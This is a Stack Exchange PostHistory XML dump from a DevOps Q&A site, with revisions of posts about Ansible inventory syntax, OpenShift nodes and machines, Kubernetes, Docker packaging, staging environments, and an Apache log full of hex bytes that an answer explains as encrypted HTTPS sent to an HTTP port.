  <row Id="33735" PostHistoryTypeId="2" PostId="11010" RevisionGUID="0f371115-6782-4776-86de-479de6e64c17" CreationDate="2020-03-07T01:20:52.573" UserId="19872" Text="I've got the following production inventory file (`playbooks/production.yaml`) for Ansible:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;all:&#xD;&#xA;  children:&#xD;&#xA;    control:&#xD;&#xA;      moriarty.server.com&#xD;&#xA;      toby.server.com&#xD;&#xA;    managed:&#xD;&#xA;      sherlock.server.com&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Based on what I'm reading online, it looks like it should be correct, and I can't find any syntax errors in the file using a YAML linter. However, when I run `ansible-playbook` on my local machine, I get the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ ansible-playbook -i playbooks/production.yaml --extra-vars target=moriarty.server.com playbooks/create-server.yaml&#xD;&#xA;[WARNING]: log file at /var/log/ansible.log is not writeable and we cannot create it, aborting&#xD;&#xA;&#xD;&#xA;[WARNING]: Skipping 'control' as this is not a valid group definition&#xD;&#xA;&#xD;&#xA;[WARNING]:  * Failed to parse /Users/username/infra/playbooks/production.yaml with auto plugin: no root 'plugin' key found,&#xD;&#xA;'/Users/username/infra/playbooks/production.yaml' is not a valid YAML inventory plugin config file&#xD;&#xA;&#xD;&#xA;[WARNING]:  * Failed to parse /Users/username/infra/playbooks/production.yaml with yaml plugin: control is not a known host nor group&#xD;&#xA;&#xD;&#xA;[WARNING]:  * Failed to parse /Users/username/infra/playbooks/production.yaml with ini plugin: Invalid host pattern 'all:' supplied, ending in ':' is not allowed, this&#xD;&#xA;character is reserved to provide a port.&#xD;&#xA;&#xD;&#xA;[WARNING]: Unable to parse /Users/username/infra/playbooks/production.yaml as an inventory source&#xD;&#xA;&#xD;&#xA;[WARNING]: No inventory was parsed, only implicit localhost is available&#xD;&#xA;&#xD;&#xA;[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'&#xD;&#xA;&#xD;&#xA;[WARNING]: Could not match supplied host pattern, ignoring: moriarty.server.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PLAY [moriarty.server.com] ************************************************************************************************************************************************&#xD;&#xA;skipping: no hosts matched&#xD;&#xA;&#xD;&#xA;PLAY RECAP **************************************************************************************************************************************************************************&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm at a loss, since it looks to be valid YAML. Do I need to format it some other way when I have groups in this manner?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33736" PostHistoryTypeId="1" PostId="11010" RevisionGUID="0f371115-6782-4776-86de-479de6e64c17" CreationDate="2020-03-07T01:20:52.573" UserId="19872" Text="Custom inventory file failing to parse properly" ContentLicense="CC BY-SA 4.0" />
  <row Id="33737" PostHistoryTypeId="3" PostId="11010" RevisionGUID="0f371115-6782-4776-86de-479de6e64c17" CreationDate="2020-03-07T01:20:52.573" UserId="19872" Text="&lt;ansible&gt;&lt;yaml&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33738" PostHistoryTypeId="2" PostId="11011" RevisionGUID="fba65c61-22a5-48d0-85fd-35741c6b3c6f" CreationDate="2020-03-07T02:53:12.467" UserId="16819" Text="OpenShift 4.2 documentation defines:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Machines**&#xD;&#xA;&gt; &#xD;&#xA;&gt; A fundamental unit that describes the host for a Node. A machine has a providerSpec, which describes the types of compute nodes that&#xD;&#xA;&gt; are offered for different cloud platforms. For example, a machine type&#xD;&#xA;&gt; for a worker node on Amazon Web Services (AWS) might define a specific&#xD;&#xA;&gt; machine type and required metadata.&#xD;&#xA;&#xD;&#xA;https://docs.openshift.com/container-platform/4.1/machine_management/creating-machineset.html&#xD;&#xA;&#xD;&#xA;While Kubernetes doc defines:&#xD;&#xA;&#xD;&#xA;&gt; **Nodes**&#xD;&#xA;&gt;&#xD;&#xA;&gt; A node is a worker machine in Kubernetes, previously known as a&#xD;&#xA;&gt; minion. A node may be a VM or physical machine, depending on the&#xD;&#xA;&gt; cluster. Each node contains the services necessary to run pods and is&#xD;&#xA;&gt; managed by the master components. The services on a node include the&#xD;&#xA;&gt; container runtime, kubelet and kube-proxy. See The Kubernetes Node&#xD;&#xA;&gt; section in the architecture design doc for more details.&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/concepts/architecture/nodes/&#xD;&#xA;&#xD;&#xA;I don't know whether Kubernetes has the concept of *machines*, and I can't find on OpenShift's documentation its own definition of *node* (perhaps it uses Kubernetes'?)&#xD;&#xA;&#xD;&#xA;And I can't get what's the difference between them.  My current understanding is that a machine represents a raw physical or virtual machine; just the computational resources like cpu, memory and storage.  Nodes, then, would represent a machine that is configured for using with OpenShift, that is, a machine that _contains the services necessary to run pods and is managed by the master components_.&#xD;&#xA;&#xD;&#xA;Another theory would be that machines are just an abstraction to the existing infrastructure, so that persistent labels can be assigned to them for organizing the infrastructure, and as a way to provide information on the underlying infrastructure properties for the nodes.&#xD;&#xA;&#xD;&#xA;So...  What is really the difference between nodes and machines?  Is a node in OpenShift exactly the same thing as in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33739" PostHistoryTypeId="1" PostId="11011" RevisionGUID="fba65c61-22a5-48d0-85fd-35741c6b3c6f" CreationDate="2020-03-07T02:53:12.467" UserId="16819" Text="What is the difference between a node and a machine on OpenShift?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33740" PostHistoryTypeId="3" PostId="11011" RevisionGUID="fba65c61-22a5-48d0-85fd-35741c6b3c6f" CreationDate="2020-03-07T02:53:12.467" UserId="16819" Text="&lt;kubernetes&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33742" PostHistoryTypeId="50" PostId="10712" RevisionGUID="94bb2365-f967-4159-979b-b910264446b3" CreationDate="2020-03-07T04:03:41.133" UserId="-1" />
  <row Id="33745" PostHistoryTypeId="5" PostId="10887" RevisionGUID="9971b9a3-4388-43e2-84f4-c70fbf6f3165" CreationDate="2020-03-07T07:06:32.783" UserId="40" Comment="transform link only answer into a real answer" Text="Very few people were viewing this thread, so afterwards I posted a duplicate question on [Stack Overflow][1], and now contains the answer. Below is a copy of it ...&#xD;&#xA;&#xD;&#xA;Finally, I found the problem.  I wonder if this is a bug, or just poorly documented....(or maybe I just didn't interpret it correctly).&#xD;&#xA;&#xD;&#xA;As per [Leo Lui-MSFT's suggestion][2] above (documented by Microsoft), I'd added the permissions to the NuGet feed, and this didn't work.  However, I was intrigued by his sentence:&#xD;&#xA;&#xD;&#xA;&gt; If you've changed your builds to run at project scope&#xD;&#xA;&#xD;&#xA;Personally, I hadn't, so I got with our System Administrator and we went through all the possible settings.  Eventually, we found it - it wasn't something I had the ability to change.&#xD;&#xA;&#xD;&#xA;So in my example above, BLUE and GREEN are the two projects that are trying to use the NuGet package in RED's Artifact feed.&#xD;&#xA;&#xD;&#xA;So picking BLUE (or GREEN), in the bottom left hand corner of Azure DevOps you'll see a link &quot;Project Settings&quot;.  Under &quot;Pipelines &gt; Settings&quot; there are four settings.  We had to change the following to be:    &#xD;&#xA;&#xD;&#xA;&gt; Limit job authorization scope to current project = false&#xD;&#xA;&#xD;&#xA;Hope that helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/60296233&#xD;&#xA;  [2]: https://stackoverflow.com/a/60315376/4640431" ContentLicense="CC BY-SA 4.0" />
  <row Id="33746" PostHistoryTypeId="5" PostId="11006" RevisionGUID="140ac301-d7d5-4a2f-a98c-a19bd05e82c6" CreationDate="2020-03-07T07:16:18.413" UserId="40" Comment="deleted 90 characters in body" Text="1. &#xD;&#xA;&#xD;&#xA;&gt; kubectl port-forward forwards connections to a local port to a port on&#xD;&#xA;&gt; a pod. Compared to kubectl proxy, kubectl port-forward is more generic&#xD;&#xA;&gt; as it can forward TCP traffic while kubectl proxy can only forward&#xD;&#xA;&gt; HTTP traffic. Generally speaking, using port forwarding you could get&#xD;&#xA;&gt; on your ‘localhost’ any services launched in your cluster.&#xD;&#xA;&#xD;&#xA; https://stackoverflow.com/questions/58360323/difference-between-kubectl-port-forwarding-and-proxy&#xD;&#xA;&#xD;&#xA;2. It does not make a lot of sence to run 'kubectl proxy' from inside VM running k8s cluster. Kubectl is your client tool, so stick with it outside of cluster range.&#xD;&#xA;&#xD;&#xA;3. The way you would access production services, for the most part if your service is DB oriented stick with ClusterIP. If you want to externally access some Web/HTTP service expose it as a Load Balancer or an Ingress ( in case u have N of them ). If you want to test the DB you could just run a dummy pod and execute some sql-client commands from there." ContentLicense="CC BY-SA 4.0" />
  <row Id="33747" PostHistoryTypeId="2" PostId="11012" RevisionGUID="ef32ac47-57f5-40c3-9a0b-7058d7659e23" CreationDate="2020-03-07T09:39:39.630" UserId="16683" Text="Basically, a Node is just a simple worker OpenShift (or Kubernetes) instance where OpenShift can schedule Pods.&#xD;&#xA;&#xD;&#xA;`Machine` is a new API introduce by OpenShift 4 that manage dynamic instance provisioning on top of public (AWS, Azure...) or private (OpenStack, VMWare...) cloud provider." ContentLicense="CC BY-SA 4.0" />
  <row Id="33748" PostHistoryTypeId="2" PostId="11013" RevisionGUID="788ca2de-5f37-4ce5-83d2-248d40f71222" CreationDate="2020-03-07T14:31:35.033" UserId="20042" Text="Just add `hosts` before every block of hosts.&#xD;&#xA;I.e., under the group level, you should have `hosts` directive&#xD;&#xA;&#xD;&#xA;See [ansible source code example](https://github.com/ansible/ansible/blob/devel/examples/hosts.yaml#L8):&#xD;&#xA;&gt; `- Hosts must be specified in a group's hosts:`&#xD;&#xA;&#xD;&#xA;Working inventory.yml:&#xD;&#xA;```yml&#xD;&#xA;all:&#xD;&#xA;  children:&#xD;&#xA;    control:&#xD;&#xA;      hosts:&#xD;&#xA;        localhost&#xD;&#xA;        127.0.0.1&#xD;&#xA;    managed:&#xD;&#xA;      hosts:&#xD;&#xA;       localhost&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33749" PostHistoryTypeId="2" PostId="11014" RevisionGUID="66c9e868-e6b4-4099-b076-af3eb79069af" CreationDate="2020-03-07T14:35:44.367" UserId="7715" Text="The keyword `hosts` is missing. Also colons `:` are needed after the hostnames. Fix the syntax, for example&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;all:&#xD;&#xA;  children:&#xD;&#xA;    control:&#xD;&#xA;      hosts:&#xD;&#xA;        moriarty.server.com:&#xD;&#xA;        toby.server.com:&#xD;&#xA;    managed:&#xD;&#xA;      hosts:&#xD;&#xA;        sherlock.server.com:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;See [How to build your inventory](https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#how-to-build-your-inventory).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33750" PostHistoryTypeId="2" PostId="11015" RevisionGUID="aa9baad5-312e-4b6c-b928-c7b5572fccfd" CreationDate="2020-03-07T16:23:05.050" UserId="20020" Text="Nginx will help you in performing the below items if you need some of them, Then I would say it make sense to add it to the stack &#xD;&#xA;&#xD;&#xA; - Optimize the caching (you can also cache dynamic content.&#xD;&#xA; - Restrict access to the services (based on ips).&#xD;&#xA; - Implement basic auth for some services.&#xD;&#xA; - Load balancing traffic between different posds or services.&#xD;&#xA; - Rewrite URLS.&#xD;&#xA; - Pass extra headers or configs to the backend services." ContentLicense="CC BY-SA 4.0" />
  <row Id="33751" PostHistoryTypeId="2" PostId="11016" RevisionGUID="27f53b4c-3fb5-4e33-a272-486aa1c0a98c" CreationDate="2020-03-07T21:34:56.107" UserId="20117" Text="I'm new to DevOps so please forgive my ignorance. I have inherited a Win10 Java app that is currently run by pressing play in NetBeans. It makes API calls to a server running in a Linux VM.&#xD;&#xA;&#xD;&#xA;What I'd like to know is how can I bundle this together and create an application that can be installed and run'out of the box' in win 10? Also, if possible, as a web service.&#xD;&#xA;&#xD;&#xA;I'm just after pointers on how to start.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33752" PostHistoryTypeId="1" PostId="11016" RevisionGUID="27f53b4c-3fb5-4e33-a272-486aa1c0a98c" CreationDate="2020-03-07T21:34:56.107" UserId="20117" Text="How do I package a jar and a Linux VM to run in Windows?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33753" PostHistoryTypeId="3" PostId="11016" RevisionGUID="27f53b4c-3fb5-4e33-a272-486aa1c0a98c" CreationDate="2020-03-07T21:34:56.107" UserId="20117" Text="&lt;linux&gt;&lt;windows&gt;&lt;java&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33754" PostHistoryTypeId="2" PostId="11017" RevisionGUID="3ffe7ed3-77c4-4731-b725-d2670744f3f4" CreationDate="2020-03-07T21:42:12.723" UserId="16059" Text="Generally people go the opposite direction and try to get more to run on Linux as it is generally cheaper (e.g. license free).  Also, Windows 10 is more of a personal workstation (vs Windows Server).  So, it seems like it may be a short term strategy (unless you're just learning on your own).&#xD;&#xA;&#xD;&#xA;Having said that, the most DevOps standard way to do this would be to:&#xD;&#xA;&#xD;&#xA; - Install Docker on your Windows 10 PC.&#xD;&#xA; - Dockerize the application(s) running on the Linux server.  You can run Linux apps on your windows host inside of docker.&#xD;&#xA; - While you're at it, just Dockerize your windows 10 Java app at the same time and start running it from command line rather than NetBeans.&#xD;&#xA; - Now, you can run it all on Windows or Mac Or Linux without the IDE :)." ContentLicense="CC BY-SA 4.0" />
  <row Id="33755" PostHistoryTypeId="5" PostId="11017" RevisionGUID="4eb9497f-d200-4027-b61d-c14e1a746ce1" CreationDate="2020-03-07T21:49:51.423" UserId="16059" Comment="more details" Text="Generally people go the opposite direction and try to get more to run on Linux as it is generally cheaper (e.g. license free).  Also, Windows 10 is more of a personal workstation (vs Windows Server).  So, it seems like it may be a short term strategy (unless you're just learning on your own).&#xD;&#xA;&#xD;&#xA;Having said that, the most DevOps standard way to do this would be to:&#xD;&#xA;&#xD;&#xA; - Install Docker on your Windows 10 PC.  Docker (in layman terms) lets you run apps on top of slimmed down operating systems of various kinds in a portable manner.&#xD;&#xA; - Dockerize the application(s) running on the Linux server.  You can start off with some slim linux variant like Alpine and just add what you need.&#xD;&#xA; - While you're at it, just Dockerize your windows 10 Java app at the same time and start running it from command line rather than NetBeans.&#xD;&#xA; - Now, you can run it all on Windows or Mac Or Linux (or kubernetes) with ease.&#xD;&#xA;&#xD;&#xA;This assumes the server-side app is not a Java or otherwise portable app.  If it is portable, you can just run it locally and forget all this (although all of this is still a good idea).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33756" PostHistoryTypeId="2" PostId="11018" RevisionGUID="b8c23f61-e205-438f-acb5-31860386921a" CreationDate="2020-03-08T00:58:57.427" UserId="20119" Text="Suppose there is a staging environment very strapped for resources as new development, data workloads and other applications grow. Ideally one would like to maintain production parity, even at the resource allocation level per each deployed item in the staging environment. For example, [one of the 12 Factor App principles describes this](https://12factor.net/dev-prod-parity), taking great pains to emphasize not just a shallow kind of parity with mocking or lightweight spoofed resources, but rather _really_ maintaining parity by running _the same_ resources in staging.&#xD;&#xA;&#xD;&#xA;Obviously for projects that scale up a lot, you may be budget constrained and simply have no choice but to spoof some resources in staging, use &quot;sample&quot; data or microservice stubs with the same shape as what real dependencies will look like in prod, and other sacrifices.&#xD;&#xA;&#xD;&#xA;But one type of sacrifice that is difficult to approach is reducing the basic allocated resources, like CPU, RAM, disk access, networking resources, logging, etc., so that a deployment in the staging environment becomes quite a different entity if you are interested in testing behavior of the whole stack of components together.&#xD;&#xA;&#xD;&#xA;There are various tools that can help you automatically reduce resource usage, such as auto-scaling in many cloud vendor environment and in kubernetes, which in effect can lead to &quot;overcommitting&quot; your staging environment if deployments are asking for the same kinds of resources as in production but being tuned to use less as a function of real load or other dynamic conditions.&#xD;&#xA;&#xD;&#xA;My question is: what is the state of best practices or understanding about this practice of overcommitting resources in staging. How often does this type of requirement become a necessity from budget and what are the major principles to think about when designing a solution in that case? What about the flip side of the issue: that &quot;the cost of doing business&quot; for a particular deployed entity should have the cost of significant production parity in staging impounded in as a basic need?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33757" PostHistoryTypeId="1" PostId="11018" RevisionGUID="b8c23f61-e205-438f-acb5-31860386921a" CreationDate="2020-03-08T00:58:57.427" UserId="20119" Text="What are best practices for over-committing resources in a staging environment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33758" PostHistoryTypeId="3" PostId="11018" RevisionGUID="b8c23f61-e205-438f-acb5-31860386921a" CreationDate="2020-03-08T00:58:57.427" UserId="20119" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33759" PostHistoryTypeId="5" PostId="11018" RevisionGUID="aec9a05f-5788-4506-9429-bea0381c17ee" CreationDate="2020-03-08T01:38:23.997" UserId="20119" Comment="added 6 characters in body" Text="Suppose there is a staging environment very strapped for resources as new development, data workloads and other applications grow. Ideally one would like to maintain production parity, even at the resource allocation level per each deployed item in the staging environment. For example, [one of the 12 Factor App principles describes this](https://12factor.net/dev-prod-parity), taking great pains to emphasize not just a shallow kind of parity with mocking or lightweight spoofed resources, but rather _really_ maintaining parity by running _the same_ resources in staging.&#xD;&#xA;&#xD;&#xA;Obviously for projects that scale up a lot, you may be budget constrained and simply have no choice but to spoof some resources in staging, use &quot;sample&quot; data or microservice stubs with the same shape as what real dependencies will look like in production, and other sacrifices.&#xD;&#xA;&#xD;&#xA;But one type of sacrifice that is difficult to approach is reducing the basic allocated resources, like CPU, RAM, disk access, networking resources, logging, etc., so that a deployment in the staging environment becomes quite a different entity if you are interested in testing behavior of the whole stack of components together.&#xD;&#xA;&#xD;&#xA;There are various tools that can help you automatically reduce resource usage, such as auto-scaling in many cloud vendor environment and in kubernetes, which in effect can lead to &quot;overcommitting&quot; your staging environment if deployments are asking for the same kinds of resources as in production but being tuned to use less as a function of real load or other dynamic conditions.&#xD;&#xA;&#xD;&#xA;My question is: what is the state of best practices or understanding about this practice of overcommitting resources in staging. How often does this type of requirement become a necessity from budget and what are the major principles to think about when designing a solution in that case? What about the flip side of the issue: that &quot;the cost of doing business&quot; for a particular deployed entity should have the cost of significant production parity in staging impounded in as a basic need?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33764" PostHistoryTypeId="10" PostId="11016" RevisionGUID="ce472f70-0d37-4546-a70b-a9bd03771270" CreationDate="2020-03-08T08:32:11.423" UserId="40" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="33765" PostHistoryTypeId="50" PostId="10734" RevisionGUID="a67ced43-d512-4090-a42c-5f81f9d93ddd" CreationDate="2020-03-08T14:02:05.283" UserId="-1" />
  <row Id="33766" PostHistoryTypeId="2" PostId="11019" RevisionGUID="a2451142-db09-4ebc-a9ee-af40564dcc33" CreationDate="2020-03-08T17:38:06.703" UserId="20124" Text="I'm running a public apache2 webserver. &#xD;&#xA;I'm getting a lot of this kind of requests on my webserver: &#xD;&#xA;&#xD;&#xA;91.251.142.16 - - [07/Mar/2020:19:58:09 +0100] &quot;\xe8\x95h\x8d\xf0\x1d\x99Q\xb8~\xb5\xbc\xa7*\x1c\xe1\x07\x10\x0c\xce\xc4\xb5&lt;\xa3\xfb8\xf1\x19\xcb&amp;N\xbc0\xdd\xad@\x82\xd0.\x8f]n&amp;:\x8d\xcfnW\xe7\x11\x803o{X\xd43oPo\xbc\xb19\x94\xb3\xb5\xb9\x15k\xcf\x06\xe1\x19h\xb3c`b\xc9\xf2\xbe\xa4A\vX\xc9\xd3Rx\x0c\xfbzIFA\xd6\xe7C?2\xdd\xbe\x1d\x96^\t\xcfq\xe5\xaf7Cl\xab\xc7\x18\x81:^p\xcf\x10!\x95\r2T\xc3b\xa1r\xcdNSS\xc4R;-\x98\xef\xf25\xc2\x90\xa2\x95\xfc\x9e/\xdcy\xc0\x8e\xa2I\x0fd\xdb:\b\xb2\xf0\xe3V\xd1\xaet0c\xbb\xc8\xe7\xc6\x98&gt;\x82\x83K\xdcp\x7fA\x9f\xc6\xe1\xfc\xf6\x10#\x13\x95\xd6\x98\x80\xe2\x1b\x9b\xfe\xa4\xda^_\xa6\x04\xf3\x86;y\x13\xfb\x8d\xb8\xb6\xee\xc2qT\xef\xed\xcf\xe5L\x8f\xf4T-Y\x82\x84n!\xc4\x8c\x02QUP]\x99((\xb5\xf07+\xfeT\xd8K\xf2y0\x1a\xd1\xf4z4\x13_B\xcer\xe4\x86@]\xca\xc5o\xaemm\x89\xf1\xaa\x84z\xfa\x82\xc6\xd2\x15\xc8\xf0$'x\xc1\xcc\xc4r\xf8\x9cI\xe5^\xfa\xd1\xa3\x9c\x85\xbb'W\xb2\xa1\x17 l\xa3\xfd \t9\xc5\x94(\x9f3\xf818$\x17b\x17\xb2\x8f!4R\x80\x82\x92*\xf3\xd4\x83h\x99\v\xa7I\&quot;\x9c\xe6\xcfN\xab\xee\x834y\xe1\x11\xecf1\vZ\xc0\xaa9\xaf\x86RGM\xe3\x80\x9e\x9eH8\x13P2\x15\xe4$\xdfAM;\xb8\x99\x9eO\xec \xfc\xa3Mo\x81M\x9d\x851\xd3g!\x90\xdd\xb3\xb9U^\xd1\xa3\xc6\xe1G\xd9\x1d\xa2\xc0/\xd7\xce\xefM\xbc X9\xa0M\xb4\x94\xdbY&gt;g\xc0$S\xdc\x87.\xbc\x95\xf7\xa1ct\xd6\xa9\xf3\x16\x91\x99\x9ep\xe0\xcd[\xd5\xf7\xbdn\xd2\\!\xca\x8e\x13LG\xbc\xa3\x9d\x01\x1awl\xc1\v\xaf\x02G\x05\x02\xddl\&quot;m\xc4z\xef\xca\t\x12S\xf8\xf6\xbbRo\xc9\xe55y\xaa#\xd0\xd4\xa3Y\x8b\xd48f\xcd\xe0gaj\x7f;\v\v\x8c&lt;\xa0^\xcd\x15\xfcAT\xdc\x81H,\xd6Y\x88\&quot;\xc8zWv^jS\xfb|Cz\x84b\x88;\xf2\xc2o\x1ay\xc9\xf2\x1a\x01\x7f\xc6\xc2%/\x11j\x825|:\xc2\xc9-\x9a{Sx\&quot;\xa8A\x06'\x0e\xa7\xe7UK\x11\xbc\x1a\xfeU\x0f\x82l\x9c\x0e\x94\x87\xf8\xed_\x1c\xd0\xee,\xb6&gt;\x97\x17\xe3pk\xa0\xed\xdaKh^\xc9h,\xfc3\xa9p\xb3\xea\xf2h\xb4\xf5&gt;\x1e\x9b\x18w\xf3\xb5\xd0\x84u\xcd! \xf5\xb0\xbd\n&quot; 400 0 &quot;-&quot; &quot;-&quot;&#xD;&#xA;91.251.142.16 - - [07/Mar/2020:19:58:14 +0100] &quot;\xab\xa1\x8d\xffGu.\xae\x94\xdb\x16@\x1d\x01\xc0M\x19\xae\xf8\xabKIE\xe2\xb2\x11;\x80\xf2\x9dnM-\xabi\x15f\xfan\xf3fcGA(k\x1e\xb1\x14$\x10 6\xd5\x16\xe2\x10\x8b`68\xe3\xbcv\x8e\x83j\xab\x19F\x8f&quot; 400 0 &quot;-&quot; &quot;-&quot;&#xD;&#xA;&#xD;&#xA;Anyone has any idea what kind of exploit is tried here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33767" PostHistoryTypeId="1" PostId="11019" RevisionGUID="a2451142-db09-4ebc-a9ee-af40564dcc33" CreationDate="2020-03-08T17:38:06.703" UserId="20124" Text="Weird requests filling apache access logs" ContentLicense="CC BY-SA 4.0" />
  <row Id="33768" PostHistoryTypeId="3" PostId="11019" RevisionGUID="a2451142-db09-4ebc-a9ee-af40564dcc33" CreationDate="2020-03-08T17:38:06.703" UserId="20124" Text="&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33769" PostHistoryTypeId="2" PostId="11020" RevisionGUID="616b8055-c7e7-4c4d-a402-311ac82cc591" CreationDate="2020-03-08T18:13:26.497" UserId="12831" Text="The easiest way I've found to properly set credentials for my local runs and remote terraform cloud runs is to use environment variables. Before running set the environment variables for &#xA;&#xA;    AWS_ACCESS_KEY_ID&#xA;    AWS_SECRET_KEY&#xA;    AWS_DEFAULT_REGION&#xA;&#xA;This should allow you to run in both Linux, PowerShell or even remote runs in Terraform cloud without issue.&#xA;&#xA;I've gone between various approaches and this has provided me the easiest workflow. If you're doing this in AWS directly then of course you could use IAM instance role and avoid credentials altogether. This wouldn't allow you to keep the same workflow for local and remote though." ContentLicense="CC BY-SA 4.0" />
  <row Id="33770" PostHistoryTypeId="2" PostId="11021" RevisionGUID="0a18c5ae-9b06-47b1-a182-3102632ccd63" CreationDate="2020-03-08T18:48:49.933" UserId="16059" Text="You're looking at a hex-escaped string.  After some googling, I found this entry on server-fault:  https://serverfault.com/a/758511/90491.&#xD;&#xA;&#xD;&#xA;You're looking at a non-decrypted HTTPS request.&#xD;&#xA;&#xD;&#xA;**From Link:**&#xD;&#xA;&#xD;&#xA;&gt; You are most likely seeing this because you are making an HTTPS request to an HTTP endpoint. For example, you're sending an HTTPS request to port 80 of your web server instead of 443. As a result, the HTTP endpoint gets a bunch of encrypted data, makes no effort to decrypt it (since HTTP is supposed to be plaintext), and so you get a bunch of gibberish in the log file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33775" PostHistoryTypeId="10" PostId="11019" RevisionGUID="0a6d29ee-7401-4677-a42a-80376b3bd1d5" CreationDate="2020-03-08T19:13:56.033" UserId="40" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="33776" PostHistoryTypeId="2" PostId="11023" RevisionGUID="5de25f9f-7afa-4c39-880f-7fa382b283a0" CreationDate="2020-03-08T19:35:22.367" UserId="16059" Text="Very good question; I'm interested to see what comes up here.&#xD;&#xA;&#xD;&#xA;In terms of cost, obviously each company and team is different.  Ideally, everyone should be resource and cost conscious... but most people really don't seem to penny pinch by heavily monitoring and tuning their workloads (probably as that takes a certain skill level and tool set).  &#xD;&#xA;&#xD;&#xA;**My Thoughts / Habits:**&#xD;&#xA;&#xD;&#xA; - Unlike **most** on-prem environments, it is very easy to spawn up dynamic environments in the cloud (if you're automating properly).&#xD;&#xA; - So, when cost is prohibitive, you can just spin up full-scale staging environments in order to do load testing and then shut them down.&#xD;&#xA; - This will work for **most** use cases.  Obviously some things do only break when systems are alive a certain period of time under a certain load.   &#xD;&#xA; - We usually keep identical but smaller environments in staging.  E.g. linearly scaled down presto clusters/spark clusters, k8s micro-services with less copies, and the like.&#xD;&#xA; - We try to keep the actual memory/cpu requests (or config) the same on any tool.  This allows for proper load testing without config changes for anything that scales.&#xD;&#xA;&#xD;&#xA;**Additional Thought**&#xD;&#xA;&#xD;&#xA;I'm pretty fond of the DevOps Toolkit book series by Victor Farcic.  If you're using kubernetes, the 2.5 book (https://www.devopstoolkitseries.com/posts/devops-25/) goes into detail on using prometheus and alert manager to detect over-sized or undersized resource requests, among other things.&#xD;&#xA;&#xD;&#xA;If you're really into saving resources and testing well simultaneously, it may make most sense to implement and use this in staging and prod.  That way you can tune your alerting and automate your response so you can keep both environments sensibly sized for themselves in a consistent and enforced manner.&#xD;&#xA;&#xD;&#xA;I think you'd still want to ensure you could set the staging environment (or another dynamic environment) to the prod settings to load test effectively though.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33777" PostHistoryTypeId="2" PostId="11024" RevisionGUID="39fc8bf9-8291-4e5c-82f5-10be6a056d78" CreationDate="2020-03-08T19:59:24.257" UserId="16059" Text="I know of ways to set up monitoring (e.g. prometheus/alert-manger) to notify me if kubernetes pod requests/limits are too far off actual container usage.&#xD;&#xA;&#xD;&#xA;Are there any systems built to help you actually act on this information in some automated fashion though?  This may sound odd as I realize automatically raising a limit makes it... not a limit?&#xD;&#xA;&#xD;&#xA;Having said that, it still sounds useful to be able to automate tuning across a large k8s environment.  This may be especially true during non-prod/staging when you're doing load testing and trying to figure out what the reasonable limits are in the first place.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33778" PostHistoryTypeId="1" PostId="11024" RevisionGUID="39fc8bf9-8291-4e5c-82f5-10be6a056d78" CreationDate="2020-03-08T19:59:24.257" UserId="16059" Text="Auto tune kubernetes requests/limits?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33779" PostHistoryTypeId="3" PostId="11024" RevisionGUID="39fc8bf9-8291-4e5c-82f5-10be6a056d78" CreationDate="2020-03-08T19:59:24.257" UserId="16059" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33780" PostHistoryTypeId="2" PostId="11025" RevisionGUID="b5dc59b1-e5ee-4745-806c-969c6b796abf" CreationDate="2020-03-08T20:32:14.143" UserId="20101" Text="Automating this kind of behaviour is a quite risky since you have ResourceQuotas usually set up as a constraint for a namespace and from there on the pods must be aligned with it. &#xD;&#xA;You might end up with a pod non being scheduled at all.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
